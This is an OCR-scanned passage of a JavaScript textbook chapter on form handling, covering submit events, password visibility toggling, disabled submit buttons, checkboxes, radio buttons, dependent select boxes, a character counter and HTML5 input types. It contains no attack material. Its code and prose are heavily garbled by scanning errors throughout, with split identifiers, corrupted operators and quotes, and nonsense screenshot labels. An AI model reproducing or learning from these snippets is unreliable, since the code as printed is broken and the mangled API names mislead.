In a text input, it is the text the user entered; otherwise, it is the value of the val ue attribute 

type 

When a form control has been created using the <i nput> element, this defines the type of the 
form element (e.g., text, password, radio, checkbox) 

name 

Gets or sets the value of the name attribute 

defaul tVal ue 

The initial value of a text box or text area when the page is rendered 

form 

The form that the control belongs to 

disabled 

Disables the <form> element 

checked 

Indicates which checkbox or radio buttons have been checked. 


This property Is a Boolean; in JavaScript it will have a value of true if checked 
defaul tChecked Whether the checkbox or radio button was checked or not when the page loaded (Boolean) 


selected 

Indicates that an item from a select box has been selected (Boolean - true if selected) 

METHOD 

DESCRIPTION 

focus () 

Gives an element focus 

blur{) 

Removes focus from an element 

select () 

Selects and highlights text content of an element, (e.g., text inputs, text areas, and passwords) 

clickO 

Triggers a cl i ck event upon buttons, checkboxes, and file upload 

Also triggers a submi t event on a submit button, and the reset event on a reset button 

EVENT 

DESCRIPTION 

blur 

When the user leaves a field 

focus 

When the user enters a field 

click 

When the user dicks on an element 

change 

When the value of an element changes 


input When the value of an <i nput> or <textarea> element changes 

keydown, keyup, keypress When the user interacts with a keyboard 
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SUBMITTING FORMS 


In this example, a basic login form lets users enter a 
username and password. When the user submits the 
form, a welcome message will replace the form. 

On the right-hand page you can see both the HTML 
and the JavaScript for this example. 


In the HTML page, the util i ties, js file you saw on 
pS71 is included before the submit-event . js script 
because its addEvent ( } function is used to create 
the event handlers for this example, util i ties, js is 
included for all examples in this section. 


Login 

Userruuue; 


Maifai) 


Password 



Login 


t Place the script in an Immediately Invoked 
Function Expression (IJFE see p97). (This is not 
shown In the flowchart.) 

2. A variable called form is created and it is set to 
hold the <form> element. It is used In the event 
listener in the next line of code. 

3* An event listener triggers an anonymous function 
when the form is submitted. Note how this is set 
using the addEvent () function that was created in 
the u t i 1 i ties * j s file that you saw on p571. 

4. To prevent the form being sent (and to allow 
this example to show a message to the user) the 
preventDefaul t { ) method is used on the form. 

5. The collection of elements in this form is stored in 
a variable called el ements. 

6. To get the username, first select the username 
input from the el ements collection using the value 
of its name attribute. Then, to get the text the user 
entered, the val ue property of that element is used. 

7. A welcome message is created and stored in a 
variable called msg; this message will incorporate the 
username that the visitor entered, 

8. The message replaces the form within the HTML. 


Q Create variable: form holds <form> element 

i 

© Event: suhml t on form 


e 

o 

© 



The event listener waits for the submi t event on the 
form (rather than a cl ick on the submit button) 
because the form can be submitted in other ways 
than clicking on the submit button. For example, the 
user might press the Enter key. 
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THE SUBMIT EVENT & 
GETTING FORM VALUES 


HTML 


<form id="login" action="/login" method="post">. . . 

<div cl ass=”two-thirds column” id= l 'main"> 

<f i el dset> 

<legend>Login</l egend> 

<1 abel for= 11 username ''>Username:</l abel> 

<input type="text" id="username" name =t 'username" /> 
<1 abel for="pwd">Password:</l abel> 

<input type="password" ^“"pwd" name=''pwd'' /> 

<input type= 11 submit" value=" Login" /> 

</fi el dset> 

</div> <!-- .two-thirds — > 

</form> . . . 

<script src="js/util tties. js"></script> 

<script sre="js/submi t-event. js"></$cri pt> 


c 1 3/ submi t-event - html 


JAVASCRIPT 


c 13/j s/submi t -event J s 


© 

© 

© 

© 

© 

© 

© 


(functionQ { 

var form - document ,getEl ementByld ( 1 logi n f ) ; 

addEventfform, 'submit' , function(e) { 
e.preventDefaul t() ; 
var elements “ this* elements; 
var username = el ements. username. val ue; 
var msg - “Welcome 1 + username; 
document. getEI ementByld { 'main 1 ) .textContent 


// Get form element 

// When user submits form 
// Stop it being sent 
// Get all form elements 
// Select username entered 
// Create welcome message 
msg; // Write welcome message 


Ih 

10 ); 


When selecting a DOM node, if you are likely to 
use it again, it should be cached. On the right, you 
can see a variation of the above code, where the 
username and the mai n element have both been 
stored in variables outside of the event listener. 

If the user had to resubmit the form, the browser 
would not have to make the same selections again. 


var form = document. getEI ementByld (' logi n 1 ) ; 
var elements = form. el ements; 
var el Username = el ements .username; 
var elHain = document. get£lementById( 'main' ) ; 
addEvertUform* 'submit', function(e) { 
e.preventDefaul t{) ; 

var msg = 'Welcome J + el Username. val ue; 
elMain.textContent = msg; 

}); 
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CHANGING TYPE OF INPUT 


This example adds a checkbox under the password 
Input. If the user checks that box, their password 
will become visible, it works by using JavaScript 
to change the type property of the input from 
password to text. (The type property in the DOM 
corresponds to type attribute in the HTML.) 

Changing the type property causes an error in IE8 
(and earlier); so this code is placed in a try * * , 
catch statement, if the browser detects an error, the 
script continues to run the second code block. 


Login 

U surname: 



| FelHnlFan 



Password 



| BpointS 



Ci allow password 

Login 



1* Place the script in an HFb (not shown in flowchart). 

2. Put password input and checkbox in variables. 

3. An event listener triggers an anonymous function 
when the show password checkbox Is changed. 

4. The target of the event (the checkbox) is stored in 
a variable called target. As you saw in Chapter 6; 

e. target will retrieve this for most browsers. 
e.srcElement is only used for old versions of IE. 

5. A try . . , catch statement checks if an error is 
caused when the type attribute is updated. 

6. if the checkbox is selected: 

7. The value of the password input s type attribute is 
set to text. 

8. Otherwise; it is set to password, 

9. If trying to change the type causes an error, the 
catch clause runs another code block instead. 

10. It shows a message to tell the user. 


Create variables: 

Q pwdh password input 
chk: checkbox 

i 

© Event: charge on checkbox 



As you saw in Chapter 10, an error can stop a script 
from running, if you know something may cause 
an error for some browsers, placing that code in 
a try. . . catch statement lets the interpreter 
continue with an afternative set of code. 


n 
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SHOWING A PASSWORD 


HTML 


<fieldset> 

<1 egend>Logi n</l egend> 

<1 abel for="username">Username:</label> 

<input type="text" id=" username" name='‘username" /> 
<1 abel for="pwd">Password:</label> 

<input type=" password" id='’pwd" name="pwd" /> 

<input type="checkbox" id="showPwd"> 

<label for="showPwd">show password</l abel> 

<input type="submit" val ue="Logi n" /> 

</fieldset> . . • 

<script src="j s/util ities . js"></script> 

<script src="js/input-type.js"></script> 


cl3/input-type. html 


JAVASCRIPT 


(?) (function() { 


© 

© 

© 

© 

© 


var pwd = document. getEl ementById( ' pwd' ) ; // 

var chk = document. getEl ementById( 1 showPwd ');. // 

addEvent(chk, 'change', function(e) { // 

var target = e. target | | e.srcElement; // 

try { // 

if (target. checked) { // 

pwd, type = 'text 1 ; // 

} else { // 

pwd. type = 'password'; // 

} 

} catch (error) { // 

alert('This browser cannot switch type'); // 

1 

}); 


}()); 


cl3/js/irput-type.js 


Get password input 
Get checkbox 

When user clicks on checkbox 

Get that element 

Try the following code block 

If the checkbox is checked 

Set pwd type to text 

Otherwise 

Set pwd type to password 

If this causes an error 
Say 'cannot switch type' 
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SUBMIT BUTTONS 


This script disables the submit button when: 

• The script first loads. The change event then 
checks when the password changes and enables 
submit if the password is given a value, 

• The form has been submitted (to prevent the 
form being sent multiple times). 


Reset password 



The button is disabled using the di sabl ed property. 
It corresponds with the HTML di sabl ed attribute, 
and can be used to disable any form elements that a 
user can interact with, A value of true disables the 
button; fal se lets the user click on it. 

1, Place the script in an IIFE (not shown in flowchart). 

2, Store the form, password input, and submit 
button in variables- 

3, The submi tted variable is known as a flag, it 
remembers if the form has been submitted yet 

4, The submit button is disabled at the start of the 
script (rather than in the HTML) so that the form 
can still be used if a visitor has JavaScript disabled. 

5, An event listener waits for the f nput event on the 
password input; it triggers an anonymous function, 

6, Store the target of the event in target. 

7, If the password input has a value, the submit 
button is enabled, and (8) its style updated, 

9* A second event listener checks for when the user 
submits the form (and runs an anonymous function). 
10. If the submit button is disabled, or the form has 
been submitted, the subsequent code block is run. 

11* The default action of the form (submitting) is 
prevented, and return leaves the function. 

12, If step 11 did not run, the form is submitted, the 
submit button disabled, the submitted variable 
updated with a value of true, and its class updated. 


Create variables: 

form: <f orm> element 
Q password: password input 
submit: submit button 

© submi tted: set to false (form not yet submitted) 

I 

o Disable submit button & set class to disabled 

f 


© 


o 

© 


Event: input on password input 

_ Ct 

ANONYMOUS FUNCTION: 
Checks if submit should be enabled 

Get target element (password input) 

f 


Has form been 4 % 
submitted? 

I I 

Set disabled Set disabled 

property to fal $e property to true 


© 



Does target 
have a value? 



Set class Set cl ass 

to disabled to enabled 


Q Event: submi t on input 


© 


i 


ANONYMOUS FUNCTION: 

Checks if form can be submitted 

Is submit disabled 
or has form been 
t submitted? 

9 

i® 

®l 

Let form submit, then: 

- Disable form 

• Update variable that tracks 

If it has been submitted 

- Set class to disabled 

Prevent 

form 

submitting 

i 
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DISABLE SUBMIT BUTTON 


HTML 


<1 abel for="pwd ">New password : </l abel > 

<input type=" pas sword" id="pwd" /> 

<input type=" submit" id="submit‘' value="submit" /> 


cI3/d1sable-submi t .fotml 


JAVASCRIPT 


c 1 3/ j s/d i sab 1 e- submi t , j s 


© 

© 


(function (} { 
var form 
var password 
var submit 


= documen t. get Element By Id ( ' newPwd 1 ) ; 
= document. get El ementByldf ' pwd 1 ) ; 

3 document .getElementBy!d{ Submit ' ) ; 


// The form 
// Password input 
// Submit button 


(D var submitted = false; 


// Has form been submitted? 


® submit. disabled = true; // Disable submit button 

submi t.className 3 ‘disabled'; // Style submit button 

// On input: Check whether or not to enable the submit button 
(D addEvent(password, ‘input 1 t function(e) { // On input of password 

(?) var target 3 e. target || e.srcElement; // Target of event 

(t) submit, disabled - submitted |[ itarget. val ue; // Set disabled property 

// If form has been submitted or pwd has no value set CSS to disabled 
(D submit. cl assName - ( Itarget. value |j submitted ) ? 'disabled 1 : 'enabled 1 ; 
}); 


© 




//On submit: Disable the form so it cannot be submitted again 


addEvent(form s ‘submit 1 , function(e) { 
if (submit. di sabl ed || submitted) { 
e.preventDefaul t() ; 
return; 

} 

submit. disabled = true; 

submitted - true; 

submit. cl assName * ‘disabled'; 


// On submit 
// If disabled OR sent 
// Stop form submission 
// Stop processing function 
// Otherwise continue... 

// Disable submit button 
// Update submitted var 
// Update styl e 


// Demo purposes only: What would have been 
e.preventDefaul t() ; 

al ert { 1 Password is 1 + password. value); 

}); 

}()); 


sent & show submit is disabled 
// Stop form submitting 
// Show the text 
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CHECKBOXES 


This example asks users about their interests, ft has 
an option to select or deselect all of the checkboxes. 
It has two event handlers: 

• The first fires when the a// checkbox is selected; it 
loops through the options, updating them. 

• The second fires when the options change; if one 
is deselected, the ail option must be deselected. 


Genres 

G All 

Cr Animation 
G Documentary 
Ci Short* 


You can use the change event to detect when the 
value of a checkbox, radio button, or select box 
changes, Here, it is used to tell when the user 
selects / deselects a checkbox. The checkboxes 
can be updated using the checked property, which 
corresponds with HTML's checked attribute, 

1. Place the script in an NFE (not shown in flowchart). 
2* The form, all of the form elements, the options, 
and the ail checkbox are stored in variables, 

3. The updateAl 1 {) function is declared. 

4. A loop runs through each of the options, 

5. For each one, the checked property is set to the 
same value as the checked property on the oil option. 

6. An event listener waits for the user to click on the 
all checkbox, which fires a change event and calls the 
updateAl] () function. 

7 ■ The clearAllOptionO function is defined. 

8. It gets the target of the option the user clicked on. 

9. If that option is deselected, then the alt option Is 
also deselected (as they are no longer all selected). 

10. A loop runs through the options, adding an event 
listener. When the change event happens on any of 
them, clearAllOptionO is called. 


Create variables: 

form <form> element 

© elements: elements contained in form 
options: array of genre checkboxes 
all: checkbox to turn all genres on/off 


f 

@ Event: change on element with id of all 
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SELECT ALL CHECKBOXES 


Cl3/a1 1 -checkboxes . html 

<1 abel><input type='’checkbox’' value="all" id="a1 1 ">A1 1 </l abel> 

<1 abel><input type=' l checkbox" name="genre" value="animation">Animation</label> 
<label><input type="checkbox" name=‘'genre" value=' l docs">Documentary</label> 

<1 abel><irput type 3 "checkbox" name="genre" value=''shorts M >Shorts</label> 


JAVASCRIPT 


(T) (functionQ { 

var form - document. getElementById( 1 i nteresfs 
var elements = form.el ements; 
var options = el ements. genre; 
var all = document. getElementById( 'all 1 ) ; 




(D function updateAll () { 

@ for (var i = 0; i < options. length; 1++) ( 
(?) opti ons [1] .checked = all. checked; 

} 


cl3/js/all -checkboxes. js 


) ; // Get form 
// All elements in form 
// Array: genre checkboxes 
// The ’all 1 checkbox 


// Loop through checkboxes 
// Update checked property 


® add£vent(al 1 , 'change 1 , updateAll); 

© function clearA110ption{e) { 

® var target = e.target |j e.srcEl ement; 

if (’target. checked) { 

(9> all. checked = false; 

} 

} 

for (var i = 0; i < options. 1 ength; i++) { 
addEvent (options [i] , ’change 1 , cl earAl lOption) ; 

} 

0 ); 


// Add event listener 


// Get target of event 
// If not checked 
// Uncheck 'All' checkbox 


// Loop through checkboxes 
// Add event listener 


FORM ENHANCEMENT & VALIDATION 




RADIO BUTTONS 


This example lets users say how they heard about a 
website. Every time the user selects a radio button, 
the code checks if the user selected the option that 
says other, and one of two things happens: 

* If other is selected, a text input is shown so they 
can add further detail. 

• If the first two options are selected, the text box 
is hidden and its value is emptied. 


How did you hear of us? 


• Search c-ayhiL> 

• Newspaper or magazine 
© Other 



submit 


1. Place the script in an IIFE (not shown in flowchart). 

2, The code starts out by setting up variables to hold 
the form, all radio buttons, the radio button for the 
other option, and the text input. 

3, The text input is hidden. This uses JavaScript 
to update the cl ass attribute so that the form still 
works if the user has JavaScript disabled, 

4, Using a for loop, an event listener Is added to 
each of the radio buttons. When one of them is 
clicked, the radioChanged() function is called. 

5. The radioCbanged () function is declared. 

6, If other Is checked, the value of the hide variable 
is set to be a blank string, otherwise it Is set to hi de. 

7. The hide variable is, in turn, used to set the value 
of the cl ass attribute on the text Input. If It is blank, 
the other option is shown; if it has a value of hi de, 
the text input is hidden. 

8. If the hide attribute has a value of hide, then the 
contents of the text input are emptied (so that the 
text input is blank if it is shown). 


o 

o 


Create variables: 
form: the form 

options: all of the radio buttons 

Other; only the other radio button 

otherText: the other- text input 

hide: will store if other-text is hidden or not 

i 

Set class of other- text to hide 


Q 

0 


LOOP THROUGH EACH RADIO BUTTON 


Event: cl ick on this radio element 
_ L 

FUNCTION: radi oChanged (} 

Shows/hides the hidden text input 


Is the other 
option checked? 


Set hide variable 
to tilde 

^ 


Clear hide 
variable 


Y 

Set cl ass to value of hi de variable 

+ 

i 


9 


Js the hidden 
variable truthy? 


Clear text input 


GO TO NEXT RADIO BUTTON 
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RADIO BUTTONS 


HTML 


cl3/show-opt ion.html 


<form id="how-heard" action="/heard 11 method="post"> 

<input type="radio" name="heard" value="search‘' id="search'‘ /> 
<label for s "search">Search engine</label><br> 

<input type="radio" name="heard" value="print" id="print" /> 
<label for="print">Newspaper or magazine</label><br> 

<input type=" radio" name="heard" va1ue =l 'otlier" id="other'' /> 
<label for= "other" >0ther</l abel ><br> 

<input type-"text" name="other-input" id="other-text" /> 


<input id="subroit" type=" submit" value=" submit" /> 


</form> 


JAVASCRIPT 


cl3/js/shoW”Option. js 


© 

© 

© 


(functionO { 

var form, options, other, otherText, hide; 

form = document. getElementById{ ' how-heard ') ; 

options = form. elements. heard; 

other - document. getElementById( ‘other’ ); 

otherText = document. getElementById( 'other-text 1 ) ; 

otherText. cl assName = 'hide'; 


© 


for {var i = [0] ; i < opti ons .1 ength; i++) { 
addEvent(options [i] , 'click', radioChanged) ; 

} 


© 

© 

© 

© 


function radioChanged() { 
hide - other. checked ? 11 ■ ‘hide 1 ; 
other! ext, cl assName = hide; 
if (hide) { 
otherText, val ue = 1 1 ; 

1 


} 

}()); 


// Declare variables 
// Get the form 
// Get the radio buttons 
// Other radio button 
// Other text input 
// Hide other text input 

// Loop through radios 
// Add event listener 


// Is other checked? 

// Text input visibility 
// If text input hidden 
// Empty its contents 
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SELECT BOXES 


The <select> element is more complex than the other form controls. 
Its DOM node has a number of extra properties and methods. 

Its <option> elements contain the values a user can select. 


This example features two select boxes. 

When the user selects an option from the first 
select box H the contents of the second select box are 
updated with corresponding options. 

In the first select box r users can choose to rent a 
camera or a projector When they make their choice, 
a list of options are shown in the second select box. 
Because this example is a bit more complex than the 
ones you have seen so far in this chapter the HTML 
and screen shots are shown to the right, and the 
JavaScript file is discussed on p586-p587. 


When the user selects an option from the drop- 
down list, the change event fires. This event is often 
used to trigger scripts when the user changes the 
value of a select box. 

The <sel ect> element also has some extra 
properties and methods that are specific to it; 
these are shown in the tables below. 

if you want to work with the individual options 
the user can select from, a collection of <opti on> 
elements is available. 


PROPERTY 

DESCRIPTION 

options 

A collection of all the <option> elements 

sel ec ted Index 

Index number of the option that is currently option 

1 eng th 

Number of Options 

multiple 

Allows users to select multiple options from the select box 
(Rarely used because the user-experience is not very good) 

selectedOptions 

A collection of all the selected <option> elements 

METHOD 

DESCRIPTION 

add (opt ion * before) 

Adds an item to the list: 

The first parameter is the new option; the second is the element it should go before 

If no value is given, the item will be added to the end of the options 

remove (index) 

Removes an item from the list: 

Has only one parameter - the index number of the option to be removed 
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SELECT BOXES 


HTML 


cB/popul a te-selectbox.html 


<1 abel for="equipmentType">type</label> 

<select id="equipmentType" name="equipmentType"> 
<option val ue="choose">Pl ease choose a type</option> 
<opti on val ue=“ cameras ">camera</opti on> 

<opti on val ue=“projectors a >projector</opti on> 
</select><br> 

<label f o r = " mod el " >mode 1 </ 1 a be 1 > 

<select id= "model 11 name= "model "> 

<option>Please choose a type first</option> 

</select> 

<input id="submit" type= "submit" val ue=" submit" /> 


RESULT 
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SELECT BOXES 


1* Place the script in an IIFE (not shown in flowchart). 

2. Variables hold the two select boxes. 

3, Two objects are created; each one holds options 
used to populate the second select box (one has 
types of cameras, the other has types of projectors). 

4, When the user changes the first select box, an 
event listener triggers an anonymous function. 

5, The anonymous function checks if the first select 
box has a value of choose, 

6. If so, the second select box is updated with just 
one option, which tells the user to select a type. 

7. No further processing is needed, and the return 
keyword exits the anonymous function (until the 
user changes the first select box again). 

S. If a type of equipment has been selected, the 
anonymous function continues to run, and a models 
variable is created. It will store one of the objects 
defined in step 3 (cameras or projectors). 

This correct object is retrieved using the 
getModel s() function declared at the end of the 
script (9+10). The function takes one parameter 
thi s , val Lie, which corresponds to the value from 
the option that was selected in first select box. 

9, Inside the getModel s () function, an if statement 
checks If the value passed in was cameras; if so, it 
returns the cameras object. 

10. [f not, it continues to run, checking to see if 
the value was projectors, and if so, it returns the 
projectors object. 

11. A variable called options is created. It will hold 
all the <option> elements for the second select box. 
When this variable is created the first <option> is 
added to it; it tells users to choose a model. 

12, A for loop goes through the contents of the 
object that was placed in the model s variable in step 
(8-TOX Inside the loop, key refers to the individual 
items in the object. 

13, Another <opti on> element Is created for every 
item in the object, its val ue attribute uses the 
property name from the object. The content that sits 
between the <opti on> tags is that property's value. 

14. The options are then added to the second select 
box using the i nnerHTML property. 


e 
0 

© Event; change on equipment type select box 
1 

ANONYMOUS FUNCTION: 

Populates the drop-down box 


Create variables: 

type & model store the drop-down boxes 
Create objects: 

cameras & projectors store the equipment lists 

4 - 


0 

0 

0 

© 

O 

0 

O 


© 
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SELECT BOXES 


.JAVASCRIPT 


cl3/j s/popul ate-sel ectbox. j s 


© 

© 



(functionf) { 

var type = document. getEl ementBy Id ( ’ equi pmentType 1 ) ;// Type select box 
var model = document. getEl ementBy Id ( 'model ') ; // Model select box 

var cameras = { // Object stores cameras 

bolex: 'Bolex Paillard H8', 
yashica: ' Yashica 30' , 
pathescape: ‘Pathescape Super-8 Relax', 
canon: 'Canon 512 1 

b 

var projectors = { // store projectors 

kodak: 'Kodak Instamatfc MSS ' , 
bolex: 'Bolex Sound 715', 
eumig: ' Eumig Mark S ' , 
sankyo: 'Sankyo Dualux' 

}; 


© 

© 

© 

© 


© 

© 

@ 



// WHEN THE USER CHANGES THE TYPE SELECT BOX 
addEvent(type, 'change', function{) { 
if (this. value === 'choose') { // No selection made 

model . i nnerHTML = '<option>Please choose a type first</option>' ; 
return; //No need to proceed further 

} 

var models = getModel s{thi s .val ue) ; // Select the right object 

// LOOP THROUGH THE OPTIONS IN THE OBJECT TO CREATE OPTIONS 
var options = '<option>Please choose a model </opti on> ' ; 
for (var key in models) { jj Loop through models 

options += '<option valued" + key + '">' + models [key] + '</option>'; 

} // If an option could contain a quote, key should be escaped 
model .i nnerHTML = options; // Update select box 

}); 


function getModel s (equi pmentType) { 
if (equi pmentType === 'cameras') { jj If type is cameras 

return cameras; jj Return cameras object 

} else if (equi pmentType === ’projectors') ( // If type is projectors 

return projectors; // Return projectors object 

} 

} 

}(}); 
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TEXTAREA 


In this example, users can enter a biography of up to 
140 characters. When the cursor is in the textarea, 
a <span> element will be shown with a count of how 
many characters the user has remaining. When the 
textarea loses focus, this message is hidden. 


Profile 


Short bio (up to 140 characters) 


ll fail aiKCrvfr«i iri ol 5'jptr S ril I duvty OKI bo« in ttty fjiher’i attic. The 
beautiful colon of his foautf* of StwYort in 1»59 


5 characters 


I- Place the script in an I1FE (not shown in flowchart). 
2. The script sets up two variables to hold: 
a reference to the <textarea> element and 
a reference to the <span> that holds the message, 

3- Two event listeners monitor the <textarea>. 

The first checks for when the element gains focus; 
the second checks for a i nput event. Both events 
trigger a function called updateCounter() (6-11) 

The i nput event does not work in IE8, but you can 
use keyup to support older browsers. 

4. A third event listener triggers an anonymous 
function when the user leaves the <textarea> 

5. If the number of characters is less than or equal 
to 140 characters, the length of the bio is okay, and 
it hides the message (because it is not needed when 
the user is not interacting with the element). 

6. The updateCounter() function is declared. 

7. It gets a reference to the element that called it. 

S. A variable called count holds the number of 
characters left to use (it does this by subtracting the 
number of characters used from 140). 

9. i f , . , el se statements are used to set the CSS 
class for the element that holds the message (these 
can also show the message if it was hidden), 

10. A variable called charMsg is created to store the 
message that will be shown to the user. 

11. The message is added to the page. 


Create variables: 

© bi 0 : <textarea> element for bio 

bi oCount: element to show characters left 


o 

0 

0 

© 


0 


4 

I 

Event: focus & i nput on bio <textarea> 

, ■ 

FUNCTION; updateCounterf) 
Updates the count and/or message 

Get target of event (<textarea>3 

t 

Create variable: count: result of 
calculation (140 minus the length of 
content in <textarea>) 

4. 


Is count < 0? 


Add class: error 




Is count <= IS? 


Add class: good Add class: warn 

4 V ' 

Create variable; charMsg: message 
containing number of characters left 

4 

l 

Write message to screen 


Event: blur on bio <textarea=> 


ANONYMOUS FUNCTION: 
Hides the counter 


Is count <=140? 


1 


Hide the counter 
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CHARACTER COUNTER 


HTML 


cl3/textarea-counter.htm1 


<label for="bio">Short Bio {up to 140 characters)</label> 
<textarea name="bio" id="bio'' rows="5" cols="30"></textarea> 
<span id=''bio-count'' class="hide"></span> 

<script src a "os/uti 1 ities.js' , ></script> 

<scri pt src="js/textarea-counter. js''></script> 


JAVASCRIPT 


cl3/j s/textarea- counter. js 


© (function () { 

yjj" var bio = document. getElementBy!d( ' bio 1 ) ; // <textarea> element 

var bioCount = document. getElementByldf ' bio-count' ) ; // Character count el 


addEvent(bio, 'focus', updateCounter) ; 
^"T addEventfbio, 'input', updateCounter); 


© 

© 


addEvent(bio, 'blur', function () { 
if (bio. value. length <= 140) { 
bioCount. cl assName = 'hide'; 

} 

}); 


// Call updateCounterQ on focus 
// Call updateCounterQ on input 

// On leaving the element 
// If bio is not too long 
// Hide the counter 


© function updateCounter(e) { 



var target = e, target || e.srcElement; 

// Get the target of the event 


var count = 140 - target. value. length; 

// How many characters are left 


if (count < 0) { 


// If less than 0 chars free 


bioCount. cl assName = 

'error' ; 

// Add class of error 


} else if (count <= 15) 

{ 

// If less than 15 chars free 

© 

bioCount. cl assName = 

'warn r ; 

// Add class of warn 


) else { 


// Otherwise 


bioCount. className = 

'good 1 ; 

// Add class of good 


L } 

© var charMsg = '<b>' + count + 

© bioCount. innerHTML = charMsg; 


'/b>' + ' characters'; // Message to display 
// Update the counter element 


}()); 
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HTML5 ELEMENTS 
& ATTRIBUTES 


HTML5 adds form elements and attributes to perform tasks that had 
previously been performed by JavaScript. However, their appearance can 
vary a lot between different browsers (especially their error messages). 


SEARCH 

<input type=" search" 
pi aceholder=" Search 4 . * " 
dutofocus> 


SAFARI 

sheepdog 

FI REFOX 

sheepdog 

CHROME 

sheepdog 

Safari rounds the comers of 
its search inputs to match the 
user interface of the operating 
system. When you enter text, 
Safari shows a cross icon which, 
when clicked or tapped, allows 
the user to clear the text from 
the field. Other browsers show 
an input like any other text input. 


EMAIL, URL, PHONE 

<input type= ,r emai1"> 
<input type= IJ url "> 

<input type= ,l telepftone n > 


safari 


hell G@java5c rtpt bookxom 


FIREFOX 


he 1 lo@javasc riptbook.com 

CHROME 


hello^javascriptboak. 



Email, URL, and phone inputs a 
look like text input fields, but the 
browser performs checks on the 
data entered into these inputs 
to see if it is in the right format 
to be an email address, URL, or 
phone number, then shows a 
message if it is not. 


NUMBER 
<input type= 11 number" 

step= u 2 11 

value="6"> 


safari 



Number inputs sometimes add 
arrows to increase or decrease 
the number specified (also 
known as spinboxes). You 
can specify a minimum and 
a maximum value, a step (or 
increment), and an initial value. 
The browser checks that the 
user entered a number, and 
shows a message if a number 
was not entered. 
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ATTRIBUTE 

DESCRIPTION 

autofocus 

Gives focus to this element when the page is loaded 

placeholder 

Content of this attribute is shown in the <input> element as a hint (see p594) 

required 

Checks that the field has a value - could be text entered or an option selected (see p606) 

mi n 

Minimum permitted number 

max 

Maximum permitted number 

step 

Intervals by which numbers should increase or decrease 

value 

Default value for a number when the control first loads on the page 

autocomplete 

On by default: shows list of past entries (disable for credit card numbers / sensitive data) 

pattern 

Lets you to specify a regular expression to validate a value (see p612) 

novalidate 

Used on the <form> element to disable the HTML5 built-in form validation (see p604) 


RANGE 

<input type - 11 range" 
min=“D" 
max^'lO" 
step=" 2 " 
valuer U S U > 


COLOR PICKER 
<input type="color 


DATE 

> <input 

<input 
<input 
<input 
<i nput 


type=' r date J1 > (below) 

type^montb'^ 

type= ,E week u > 

type="time M > 

type="datetime"> 


SAFARI 




RREFOX 


CHROME 

1 i lu — ^ 

» 


The range input offers another 
way to specify a number - this 
time the control shows a slider 
As with the spinbox, you can 
specify a minimum and a 
maximum value, a step, and an 
initial value. 


CHROME 



At the time of writing, Chrome 
and Opera are the only browsers 
to implement a color Input. It 
allows users to specify a color. 
When they click on the control, 
the browser will usually show the 
operating system's default color 
picker (except for Linux, which 
offers a more basic palette). It 
inserts a hex color value based 
on the user's selection. 


CHROME 

ie^04/2Q15 ill V 


*** 1015 - ilEIU 


Mon 

Tuc 

Wee* 

Thu 

Frl 

Sat 

Sun 

IcT 

31 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 

12 

13 

14 

IS 

» 

17 

18 

19 

20 

21 

n 

23 

24 

25 

26 

11 

28 

19 

30 



3 


There are several different date 
inputs available. At the time of 
writing, Chrome was the only 
browser to have implemented a 
date picker. 
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SUPPORT & STYLING 


HTML5 form elements are not supported in all browsers and, when they 
are, the inputs and error messages can look very different. 


DESKTOP BROWSERS 
At the time of writing, many developers were still 
using JavaScript instead of these new HTML5 
features because: 

• Older browsers do not support the new input 
types (they just show a text box in their place), 

• Different browsers present the elements and 
their error messages in very different ways 
(and designers often want to give users a 
consistent experience across browsers). 

Below, you can see how the error messages look 
very different in two of the main browsers. 


MOBILE 

On mobile devices the situation is very different, as 
most modern mobile browsers: 

• Support the main HTML5 elements 

• Show a keyboard that's adapted to the type: 
emai 1 brings up a keyboard with the @ sign 
number type brings up a number keyboard 

• Give helpful versions of the date picker 
Therefore, in mobile browsers, the new HTML5 
types and elements make forms more accessible 
and usable for your visitors. 


ERROR MESSAGE FOR AN EMAIL INPUT IN CHROME: 

I 

Q Please enter an email address. 


ERROR MESSAGE FOR AN EMAIL INPUT IN FIREFOX: 


hello 




Please enter an email address. 


DATE INPUT IN IOS: 

***• •• era -UK 3G 1 V 

java&c nptbDok.com C 


: > 

Clear Dc 

20 

Mavem ber 

2013 

21 

December 

2014 

22 

January 

2015 

23 

February 

2016 

24 

March 

201 7 
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CURRENT APPROACHES 


Until more visitors' browsers support these new features, and do so in a 
consistent way, developers will think carefully about how they use them. 


POLYFILLS 

A poSyfiH is a script that provides 
functionality you may expect a 
browser to support by default. 
For example, because older 
browsers do not support the new 
HTML5 elements, polyfills can 
be used to implement a similar 
experience / functionality in 
those older browsers. Typically 
this is achieved using JavaScript 
or a jQuery plugin. 

Polyfills often come with CSS 
files that are used to style the 
functionality the script adds. 

You can find a list of potyfills for 
various features here: 
http://htm!5pl ease, com 

There is an example of how to 
use a polyfill on p594, where 
you see how to get the HTML5 
pi acehol der attribute to show 
up in older browsers. 


FEATURE DETECTION 

Feature detection means 
checking whether a browser 
supports a feature or not. 

You can then decide what to do if 
a feature is r or is not, supported. 
On p415 you learned about 
a script called moderni zr. js, 
which tests for browser features. 

Commonly, if a feature is not 
supported, a polyfill script will be 
loaded to emulate that feature. 

To save loading the polyfiil script 
into browsers that do not need it, 
Modernizr includes a conditional 
loader; it will only load a script if 
the test indicates that the script 
is needed. 

Another popular conditional 
loader is Requi re . js (available 
from http://requirejs.orgX 
but it is a bit more complex when 
you are first starting out because 
it offers many other features. 


CONSISTENCY 

Many designers and developers 
want to control the appearance 
of form controls and error 
messages to give a consistent 
experience across all browsers. 
(Consistency in error messages 
is considered important 
because different styles of error 
messages can confuse users.) 

Therefore, the long example 
used at the end of this chapter 
will disable HTML5 validation 
and try to use JavaScript 
validation as its first choice. 
(HTML5 validation is only 
shown if the user does not have 
JavaScript enabled; it is used as a 
fallback in modern browsers.) 

In that example, you also see 
jQuery Ul used to ensure that 
the date picker is consistent 
across all devices, with as little 
code as possible. 
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PLACEHOLDER FALLBACK 


The HTML5 pi acehol der attribute lets you put 
words in text inputs (to replace iabeis or to add hints 
about what to enter). When the input gains focus 
and the user starts typing, the text disappears. But 
it only works in modern browsers, so this script 
ensures that the user sees placeholder text in older 
browsers too. It is a basic example of a polyfill. 


0 A Is placeholder A 

' JL supported? 

I 

0 Create variable: 1 ength: number of forms 


LOOP THROUGH EACH ELEMENT ON PAGE 


Username: 


username 


Call function; showPl acehol der {) 
GO TO NEXT FORM 


J 



1 Place the script in an IIFE (not shown in flowchart). 
2* Check if the browser supports the HTML5 
pi acehol der attribute, If it does, there is no need for 
the fallback. Use return to exit the function, 

3, Find out how many forms are on the page using 
the length property of the forms collection. 

4, Loop through each <f orm> element on the page 
